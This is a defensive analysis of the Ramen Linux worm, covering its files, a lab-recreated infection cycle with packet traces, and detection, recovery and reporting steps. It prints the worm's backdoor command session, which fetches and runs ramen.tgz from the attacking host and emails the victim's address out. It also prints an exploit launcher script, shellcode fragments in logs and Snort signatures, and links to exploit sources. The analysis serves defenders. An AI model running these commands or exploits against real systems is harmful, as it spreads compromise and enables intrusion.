Max Vision <vision@whitehats.com>
Abstract
Ramen is an Internet worm that targets Redhat Linux 6.2 and Redhat Linux 7.0 servers, and propagates by: scanning for vulnerabilities present in the default configuration, exploiting the vulnerable services, then copying itself to the newly compromised servers. Ramen will overwrite all index.html files on local and mounted filesystems and will send an email to a remote email address revealing that the target system has been compromised (to whoever can access the email account). However, this has limited use since the worm closes the remote vulnerabilities that it used to compromise the system and does not appear to leave a direct backdoor into the system. The worm also removes the tcpwrappers access control list, but this does not yield direct remote access to the attacker.
Contents
- Thanks and Credits
- Ramen History and Composition
- Ramen Infection/Propagation Cycle
- Prevention
- Detection (local host)
- Detection (network)
- Incident Recovery
- Incident Reporting
- References
Thanks and Credits
Credit is due to Mihai Moldovanu and Daniel Martin for their initial descriptions and capture of the ramen worm in the wild. Daniel was also kind enough to forward me a copy of the worm for my own analysis. Some of this present analysis may be duplicate work, but was necessary for me to completely and accurately document the function of this worm. Thanks also to Vacuum and Dragos for sending their copies, which I confirmed to be identical strains of the worm. Special thanks to Lance Spitzner for early feedback that made this analysis much more readable. Also, this analysis would not have been completed as quickly nor as gracefully if not for the excellent engineering talents behind several software projects, including but not limited to VMware, Ethereal, and Snort.
Ramen History and Composition
Ramen.tgz
is a UNIX worm written by (an) unknown author(s), who seems to have collected
a patchwork of exploit scripts and wrapped them around a modified version
of the Synscan vulnerability scanner. The worm package is copied from system
to system in an tgz (tar and gzip) archive bundle. The following files
are found in the ramen.tgz
archive:
|
Security patches have been available from Redhat to address each of the remote exploits employed by the worm since October 2000. Each of the remote exploits have been widely published in public forums and web sites. Despite the availability of patches and widespread exploitation of these vulnerable services, a very large number of Redhat 6.2 and Redhat 7.0 servers remain deployed in their default configurations. Redhat released a second edition of Redhat 7.0 called respin that included a fixed version of LPRng, so most of the new installations since October have been resistant to these exploits by default.
Another interesting aspect of the worm package is that the author left unexplained or inefficient code in place. For example, the wu-ftpd exploit used in this worm does not work against a default install of Redhat 6.2. Either the worm author misconfigured the exploit, or he/she used the "script kiddie" crippled version. Also two copies of the exploit are included for Redhat 6.2, but the file wu62 is not referenced or used anywhere by the worm. In the bd62.sh file the worm tries to secure the system by killing rpc.statd, but also tries to kill rpc.rstatd, a process name that does not exist. start.sh creates the files .w and .l but then start62.sh or start7.sh just delete and then recreate them immediately afterward. start62.sh and start7.sh were identical, and could have been merged into start.sh. Much of the functionality of the worm could have been greatly optimized, and there was no apparent attempt at stealth whatsoever.
Another possible clue as the author of the worm is that the worm sends emails to gb31337@yahoo.com and gb31337@hotmail.com. This is remarkably similar to the Millennium worm which sent email to trax31337@hotmail.com. Mihai Moldovanu found an encrypted string in each of the worm executables that may be a password, it is "bl3h". So far I've been unable to trigger it or spend enough time to reverse engineer the software to see where it's being used.
Ramen Infection/Propagation Cycle
The ramen worm has a simple propagation mechanism and will continue spreading until the processes are killed or the machine is rebooted. Upon reboot, the worm will launch again and attack more systems, however if your /tmp is cleared on reboot then the /tmp/ramen.tgz will have been deleted and the worm will no longer propagate (yet it will continue to scan and compromise hosts). The output of the scanner is diverted into separate log files for Redhat 6.2 targets versus Redhat 7.0 targets.
In my lab environment I set up 192.168.0.23 as a host infected with the worm, and 10.0.0.23 as a potential target. Both servers were Redhat Linux 6.2 in the default server configuration. I prepped the 192.168.0.23 host appropriately to simulate infection. To get the worm to run I had to setup a bogus DNS server to support required resolver calls (synscan won't send a "finish" packet to www.microsoft.de unless it can resolve to an IP. Also wu-ftpd won't give a banner unless it can resolve the connecting IP. /etc/hosts is not good enough for the latter.) There were other similar problems and solutions but nothing of consequence to the propagation method of the worm. For all intents and purposes this was a live attack.
Before we get into the details, here are links to the entire capture
in case you want to follow along. You can use Snort, Ethereal, or another
protocol analyzer to read the libpcap binary:
libpcap binary packet capture: ramenattack.gz
text version of same as parsed by snort: ramenattack.txt
(large)
The worm starts its life cycle when the ramen.tgz package is extracted
to the /usr/src/.poop
directory, and the ./start.sh
script is run. Keep this in mind, as we will come full-circle back to this
point on the target host, where the same condition will be met and the
worm will continue its life. So this also describes the starting environment
I created for the worm on 192.168.0.23.
 |
| Red
Hat Linux release 6.2 (Zoot)
Kernel 2.2.14-5.0 on an i686 login: test Password: [test@test test]$ su - root Password: [root@test /root]# cd /usr/src/.poop [root@test .poop]# ./start.sh nohup: appending output to `nohup.out' rpc.rstatd: no process killed [root@test .poop]# nohup: appending output to `nohup.out' nohup: appending output to `nohup.out' nohup: appending output to `nohup.out' |
start.sh is a shell script that prepares the local system to act as an attacker, as well as several functions.
- replaces all index.html files on the server with a prepared defacement message
- removes the tcpwrappers access control list by deleting /etc/hosts.deny
- copies the appropriate binaries into place for the type of machine it is running on (Redhat 7.0 is apparently not binary compatible with Redhat 6.2, and thus the worm author has precompiled each exploit or tool for both platforms. Static compilation might have saved some trouble here).
- adds the worm startup script to /etc/rc.d/rc.sysinit so that the worm will be run again if the system is rebooted.
- launches ./bd62.sh and ./start62.sh (on redhat 6.2) or ./bd7.sh and ./start7.sh (on Redhat 7.0).
"Hackers looooooooooooooooove noodles" and a picture of a package of Ramen noodles.
this does not seem to be benefit the attacker, and is perhaps the most senseless act committed by the worm.
start62.sh is a small shell script that launches the three attack processes, scan.sh, hackl.sh, and hackw.sh. The scan.sh script picks a random class b to scan, then launches a modified Synscan against those addresses. The hackl.sh and hackw.sh scripts basically watch the output files generated by Synscan and act against any IP addresses that are dropped in the log files.
The first network activity caused by the worm is the Synscan probe of
the random class b address space. In my lab setup I crippled the randb
program to always return 10.0.0. I chose to use the 10.0.0.0/24 class c
space only to reduce clutter in the logs - the logistics are the same.
Synscan sent SYN+FIN tcp packets to each address in the 10.0.0 range, using
the source and destination port 21. The target machine running a Redhat
Linux 6.2 default server install was at address 10.0.0.23. A packet trace
of this successful probe follows:
| 01/18-15:56:20.682687
192.168.0.23:21 -> 10.0.0.23:21
TCP TTL:42 TOS:0x0 ID:39426 IpLen:20 DgmLen:40 ******SF Seq: 0x190E29E6 Ack: 0x4A57444E Win: 0x404 TcpLen: 20 01/18-15:56:20.686182
10.0.0.23:21 -> 192.168.0.23:21
01/18-15:56:20.689265
192.168.0.23:21 -> 10.0.0.23:21
|
The full packet trace for the Synscan ftp port scan of the target network:
breakout-synscan.txt
libpcap binary format: breakout-synscan.gz
Synscan finds the 10.0.0.23 target system responsive to its probe. Next
Synscan connects to the system to grab the FTP banner and determine if
the system is a Redhat 6.2 or 7.0 server. This happens in parallel with
the port sweep above. The following is a printable session breakout of
the FTP banner grab.
| 220
test2.whitehats.com FTP server (Version wu-2.6.0(1) Mon Feb 28 10:30:36
EST 2000) ready.
221 You could at least say goodbye. |
The packet traces for the ftp banner grab: breakout-ftpbanner.txt
libpcap binary format: breakout-ftpbanner.gz
This banner grab retrieves a keyword that the modified Synscan software
is looing for indication that it is the default wu-ftp 2.6.0(1) provided
with Redhat 6.2 (by default). It is probably keying off of the compiled
datestamp "Mon Feb 28". Synscan adds the IP to the Redhat 6.2 file, called
".w". The script hackw.sh
has been tailing this file waiting for an IP to attack, now it has a target,
so it springs into action and launches the wu-ftp and statdx exploits against
the target.
| #!/bin/sh
./w -t $1 -s0 ./s -d0 $1 |
The packet traces for this unsuccessful ftp attack: breakout-ftpexploit-failed.txt
libpcap binary format: breakout-ftpexploit-failed.gz
The attacker didn't configure the wu-ftp exploit correctly, as it fails to compromise the Redhat 6.2 (zoot) server.
The hackw.sh script tries the rpc.statd strings format exploit right after the wu-ftp attack. This exploit is successfull and executes portbinding shellcode that causes a suid root shell to listen at port 39168 on the target.
The packet traces for the successful rpc.statd probe and exploit: breakout-statd-exploit.txt
libpcap binary format: breakout-statdprobeandexploit.gz
At about this time Synscan is finished up scanning the 10.0.0.0/24 range
and it uses a unique method of communicating this fact to the parent process
- it sends a probe to www.microsoft.de from port 31337 to port 80. Note
that I added "10.9.9.9 www.microsoft.de" to the /etc/hosts
file on the target since my testing was on a private network that could
not access the public internet. Without this tweak, Synscan would hang
on the dns lookup (Trivia: it actually does the lookup before it scans
for some reason).
| 01/18-15:56:28.974197
192.168.0.23:31337 -> 10.9.9.9:80
TCP TTL:41 TOS:0x0 ID:39426 IpLen:20 DgmLen:40 ******SF Seq: 0x473D3B33 Ack: 0x3095D3A8 Win: 0x404 TcpLen: 20 |
libpcap binary format: breakout-microsofthello.gz
The rpc.statd exploit created a backdoor on the victim at port 39168.
The following printable session shows the commands sent to the target,
which effectively pull the worm across from the attacker system (the asp
webserver runs at port 27374), launches the worm on the target host, and
sends a silly email to email accounts at hotmail.com and yahoo.com.
| mkdir
/usr/src/.poop;cd /usr/src/.poop
export TERM=vt100 lynx -source http://192.168.0.23:27374 > /usr/src/.poop/ramen.tgz cp ramen.tgz /tmp gzip -d ramen.tgz;tar -xvf ramen.tar;./start.sh echo Eat Your Ramen! | mail -s 10.0.0.23 -c gb31337@yahoo.com gb31337@hotmail.com asp62 asp7 bd62.sh bd7.sh getip.sh hackl.sh hackw.sh index.html l62 l7 lh.sh randb62 randb7 s62 s7 scan.sh tar: Archive contains future timestamp 2001-01-18 15:39:27 start.sh tar: Archive contains future timestamp 2001-01-18 15:39:54 start62.sh start7.sh synscan62 synscan7 w62 w7 wh.sh wu62 |
The packet traces for the backdoor command session: breakout-commandsviaexploit.txt
libpcap binary format: breakout-commandsviaexploit.gz
Note that although an email is "sent" here, I don't have a packet trace because sendmail deferred the email with the sensible warning "no route to host". I recommend against trying to sniff all of your email just to watch for the username "gb31337@" in an outgoing email - there are so many better ways to detect this worm that it's really a waste of CPU on your IDS.
The last transaction that we see over the network is the new victim
connecting back to the attacker at port 27374 to download their copy of
the worm. This port is set by the inetd or xinetd configuration in the
worm scripts. They currently use the servicename "asp", which in Redhat
6.2 /etc/services correlates to port 27374.
| GET
/ HTTP/1.0
Host: 192.168.0.23:27374 Accept: text/html, text/plain, audio/mod, image/*, video/*, video/mpeg, application/pgp, application/pgp, application/pdf, message/partial, message/external-body, application/postscript, x-be2, application/andrew-inset, text/richtext, text/enriched Accept: x-sun-attachment, audio-file, postscript-file, default, mail-file, sun-deskset-message, application/x-metamail-patch, text/sgml, */*;q=0.01 Accept-Encoding: gzip, compress Accept-Language: en User-Agent: Lynx/2.8.3dev.18 libwww-FM/2.14 <lots of binary data (ramen.tgz) come flowing back at this point> |
The packet traces for the ramen.tgz retrieval from asp webserver: breakout-getworm-session.txt
libpcap binary format: breakout-getworm.gz
The ramen.tgz worm package is extracted and run on the remote host, and the life cycle begins anew (see diagram).
Prevention
The ramen worm finds target hosts by connecting to the ftp server and grabbing the banner text. So by changing the ftp banner, one can effectively render a system immune to this strain of the worm. A more permanent and reasonable solution is to upgrade all system daemons that contain remote vulnerabilities. Ironically, being infected by the worm once should effectively immunize the server, since the worm deletes or disables the same vulnerable services that it exploits.
Redhat lists the following errata as available to patch the affected Redhat Linux servers.
Commands to update and effectively close these vulnerabilities on Redhat
Linux 6.2 server:
rpm
-Uvh ftp://updates.redhat.com/6.2/i386/nfs-utils-0.1.9.1-1.i386.rpm
rpm
-Uvh ftp://updates.redhat.com/6.2/i386/wu-ftpd-2.6.0-14.6x.i386.rpm
Commands to update and effectively close these vulnerabilities on Redhat
Linux 7.0 server:
rpm
-Uvh ftp://updates.redhat.com/7.0/i386/LPRng-3.6.24-2.i386.rpm
Detection (local host)
The following logs are generated on the target host after the Ramen
worm attacks. Note the *time warp* that occurs for the ftpd log entries
- eight hours into the future. I don't know what causes this yet, but it's
noteworthy for folks interested in forensics! Timestamps of interested
are highlighted in bold.
/var/log/messages Jan 18 05:15:31 test ftpd[4350]: FTP session closed Jan 18 05:15:33 test rpc.statd[330]: gethostbyname error for ^Xö¨^Xö¨^Yö¨^Yö¨^Zö¨^Zö ¨^[ö¨^[ö¨bffff750 8049710 8052c20687465676274736f6d616e797265206520726f7220726f66 bffff718 bffff719 bffff71a bffff71b????????????????????????????????????????????????????? ????????????????????????????????????????????????????????????????????????????????????????? ????????????????????????????????????????????????????????????????????????????????????????? ?????????????????????????????????????????????????? Jan 18 13:15:33 test ftpd[4351]: ANONYMOUS FTP LOGIN FROM test.whitehats.com [192.168.0. 23], ???????????????????????????????????????????????????????????????????????????????????? ????????????????????????????????????????????????????????????????????????????????????????? ????????????????????????????????????????????????????????????????????????????????????????? ????????????????????????????????????????????????????????????????????????????????????? 1A1U1øFI?1A1UC%UAø?I?k^1A1?^^A^F^Df1^Aø'I?1A?^^Aø=I?1A1U?^^H%C^B1_1A?^^Hø^LI?_u¢1A ^F^I?^^Hø=I?_^Nø0_E^F^D1A^F^G%v^H%F^L%¢?N^H?V^Lø^KI?1A1Uø^AI??0bin0sh1..11 Jan 18 13:15:33 test ftpd[4351]: lost connection to test.whitehats.com [192.168.0.23] Jan 18 13:15:33 test ftpd[4351]: FTP session closed Jan 18 05:15:33 test inetd[1242]: pid 4351: exit status 255 /var/log/maillog Jan 18 05:15:48 test sendmail[4361]: FAA04361: from=root, size=82, class=0, pri=60082, nrcpts=2, msgid=<200101181315.FAA04361@test2.whitehats.com>, relay=root@localhost Jan 18 05:16:19 test sendmail[4363]: FAA04361: to=gb31337@hotmail.com, ctladdr=root (0/0), delay=00:00:32, xdelay=00:00:31, mailer=esmtp, relay=mc5.law5.hotmail.com. [216.32.243. 136], stat=Deferred: No route to host Jan 18 05:20:49 test sendmail[4363]: FAA04361: to=gb31337@yahoo.com, ctladdr=root (0/0), delay=00:05:02, xdelay=00:04:30, mailer=esmtp, relay=mx6.mail.yahoo.com. [128.11.22.89], stat=Deferred: No route to host /var/log/secure Jan 18 05:15:31 test in.ftpd[4350]: connect from 192.168.0.23 Jan 18 05:15:32 test in.ftpd[4351]: connect from 192.168.0.23 |
The following filesystem irregularities are attributable to the Ramen worm.
- presence of /usr/src/.poop directory and it's contents
- presence of /tmp/ramen.tgz
- presence of /sbin/asp
- /etc/hosts.deny is missing (an empty placeholder file is present by default)
| inetd 472 root 14u IPv4 11445 TCP *:asp (LISTEN) |
The following processes appear on a Redhat Linux system that is infected
with the Ramen worm.
| root
4722 0.0 1.6 1648 752 pts/0 SN 15:46 0:00 sh ./scan.sh
root 4723 0.0 1.5 1648 748 pts/0 SN 15:46 0:00 sh ./hackl.sh root 4724 0.0 1.5 1648 748 pts/0 SN 15:46 0:00 sh ./hackw.sh root 4730 0.0 0.9 1252 460 pts/0 SN 15:46 0:00 tail -f .l root 4731 0.0 1.6 1656 756 pts/0 SN 15:46 0:00 sh ./hackl.sh root 4735 0.0 0.9 1252 460 pts/0 SN 15:46 0:00 tail -f .w root 4736 0.0 1.6 1656 756 pts/0 SN 15:46 0:00 sh ./hackw.sh root 4743 0.0 1.0 1148 492 pts/0 SN 15:47 0:02 ./synscan 10.0.0 root 4746 0.0 0.0 0 0 pts/0 ZN 15:47 0:00 [synscan <defunct root 4747 0.0 0.0 0 0 pts/0 ZN 15:47 0:00 [synscan <defunct |
The following arachNIDS rules can be used in the Snort IDS to detect this worm on your network.
Synscan probes are already detected using the arachNIDS ruleset: http://whitehats.com/info/IDS441
alert
TCP $EXTERNAL any -> $INTERNAL any (msg: "IDS441/probe-Synscan-Portscan";
id: 39426; flags: SF;)
The wu-ftp exploit attempt can now be detected using arachNIDS rule:
http://whitehats.com/info/IDS458
alert
TCP $EXTERNAL any -> $INTERNAL 21 (msg: "IDS458/ftp-wuftp260-tf8"; flags:
AP; content: "|31C0 31DB 31C9 B046 CD80 31C0 31DB 43 89D941 B03F CD80|";)
The rpc.statd strings format exploit was already detected using the
arachNIDS ruleset: http://whitehats.com/info/IDS442
alert
TCP $EXTERNAL any -> $INTERNAL any (msg: "IDS442/rpc-statdx-exploit"; flags:
AP; content: "/bin|c74604|/sh";)
The LPRng exploit can be detected using the arachNIDS ruleset: http://whitehats.com/info/IDS457
alert
TCP $EXTERNAL any -> $INTERNAL 515 (msg: "IDS457/LPRng-redhat7-overflow-security.is";
flags: AP; content: "|58 58 58 58 25 2E 31 37 32 75 25 33 30 30 24 6E|";
nocase;)
Synscan's unique www.microsoft.de message can be detected using arachNIDS
rule: http://whitehats.com/info/IDS459
alert
TCP $INTERNAL 31337 -> $EXTERNAL 80 (msg: "IDS459/probe-Synscan-microsoft";
id: 39426; flags: SF;)
The asp webserver used by the Ramen worm can be detected by arachNIDS
rule: http://whitehats.com/info/IDS460
and http://whitehats.com/info/IDS461
alert
TCP $EXTERNAL any -> $INTERNAL 27374 (msg: "IDS460/worm-ramen-asp-retrieval-incoming";
flags: AP; content: "GET "; depth: 8; nocase;)
alert
TCP $INTERNAL any -> $EXTERNAL 27374 (msg: "IDS461/worm-ramen-asp-retrieval-outgoing";
flags: AP; content: "GET "; depth: 8; nocase;)
Incident Recovery
Once your computer has been compromised by the ramen worm, you will need to clean up several trouble spots to restore the system.
- If you want to allow anonymous FTP, then remove "ftp" and "anonymous" from /etc/ftpusers
- If you use wu-ftpd in particular, then upgrade to the latest version from the redhat errata web site
- If you use NFS then upgrade to the latest version from the redhat errata web site
- If you use LPRng then upgrade to the latest version from the redhat errata web site
- Remove "/usr/src/.poop/start*.sh" from /etc/rc.d/rc.sysinit
- Delete the /usr/src/.poop directory containing worm files
- Delete /tmp/ramen.tgz
- Delete /sbin/asp
- Redhat 6.2: Remove "asp stream tcp nowait root" from /etc/inetd.conf
- Redhat 7.0: Delete /etc/xinetd.d/asp
- Restore /etc/hosts.deny unless you didn't use tcp wrappers
- Restore any replaced index.html files with originals from backup
- Reboot the system to kill active worm daemons
- When the computer is distracted by the reboot, see if you can sneak an OpenBSD boot floppy in! If you succeed, then congratulations, you are well on your way to reducing embarassment of being rooted by a wet noodle.
Incident Reporting
It is very likely that the source address that is attacking your network is another victim in the propagation of the worm. Therefore, it would be much better to report the information to your CERT, and let them do their job of coordinating the attack trend information, versus trying to contact the owner of the machine that attacked you. This is a judgment call that you or your corporate security policy may dictate, but please remain calm and courteous when dealing with other admin involved in an attack. They may not yet be aware that their system was compromised.
If you were vulnerable, then you can thank the worm author (if he/she is found) for closing severe remote root vulnerabilities in your network. You may also throttle him/her for overwriting your index.html files, but that's your call. If you were not vulnerable and were just probed - then stop complaining and get back to work. No, really, probes are harmless - log it and move on, there are more important things in life.
References
"Ramen Worm Analysis" by Mihai Moldovanu, http://tfm.profm.ro/index.html
"Ramen Worm" writeup by Daniel Martin, http://members.home.net/dtmartin24/ramen_worm.txt.gz
"Synscan" vulnerability scanner by Psychoid, http://www.psychoid.lam3rz.de/synscan.html
"Multiple Vendor LPRng User-Supplied Format String Vulnerability", http://www.securityfocus.com/bid/1712
"SEClpd" exploit by DiGiT, http://www.security.is/material/SEClpd.c
"Wu-Ftpd Remote Format String Stack Overwrite Vulnerability", http://www.securityfocus.com/bid/1387
"wuftpd2600.c" exploit by tf8, http://b0f.freebsd.lublin.pl/
"Multiple Linux Vendor rpc.statd Remote Format String Vulnerability",
http://www.securityfocus.com/bid/1480
"statdx.c" exploit by ron1n, posted to Bugtraq mailing list
"Incidents Mailing List", http://www.securityfocus.com/templates/archive.pike?list=75
"Redhat Errata", http://www.redhat.com/support/errata/
Local links, provided for educational use only:
ramen.tgz
/ synscan1.6.tar.gz
/ SEClpd.c
/ wuftpd2600.c
/ statdx.c